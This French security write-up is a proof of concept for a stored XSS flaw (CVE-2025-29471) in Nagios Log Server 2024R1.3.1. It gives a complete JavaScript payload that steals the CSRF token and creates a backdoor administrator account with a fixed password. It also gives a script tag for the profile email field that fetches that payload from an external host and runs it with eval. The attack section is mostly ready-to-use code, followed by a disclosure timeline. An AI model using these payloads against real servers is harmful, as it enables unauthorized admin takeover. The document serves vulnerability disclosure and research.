
XSS stockée dans Nagios Log Server 2024R1.3.1
2024R1.3.1 et versions antérieuresNagios Log Server 2024R1.3.1 (configuration par défaut, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:HUniquement à des fins de test et de recherche autorisés. Ne testez pas et n'exploitez pas cette vulnérabilité sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.
Une vulnérabilité XSS stockée dans Nagios Log Server 2024R1.3.1 permet à un utilisateur à faibles privilèges d'injecter du JavaScript malveillant dans le champ « email » de son profil.
Lorsqu'un administrateur consulte les journaux d'audit, la charge utile s'exécute, entraînant une élévation de privilèges via la création non autorisée d'un compte administrateur.
1.Hébergez la charge utile xss.js sur votre serveur externe avec le contenu suivant. Github fonctionne très bien.
Mettez à jour <target-ip> avec l'IP ou le nom d'hôte de la cible Nagios Log Server.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Connectez-vous à Nagios Log Server en tant qu'utilisateur standard (non administrateur).
Accédez au point de terminaison de mise à jour du profil :
http://<target-ip>/nagioslogserver/profile/update
Injectez la charge utile suivante dans le champ email. Mettez à jour la ligne fetch avec l'URL où xss.js est hébergé.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Nom d'utilisateur : backdoor
Mot de passe : Password123!
backdoor avec un accès administrateur complet dans Nagios Log Server.Nagios Log Server 2024R2Nagios Log Server 2024R2 corrige la vulnérabilité XSS stockée et a informé NagiosCVE-2025-29471 pour cette vulnérabilité XSS stockée, mais les détails sont restés non publiés en raison de l'absence d'avis de sécurité public de la part du fournisseur2024R1.3.2), rétroportant le correctif de la vulnérabilité XSS stockée vers la branche 2024R1CVE-2025-29471 a été officiellement publiéCe travail a été réalisé en dehors de mon emploi et reflète mes efforts personnels dans le cadre de recherches en cybersécurité.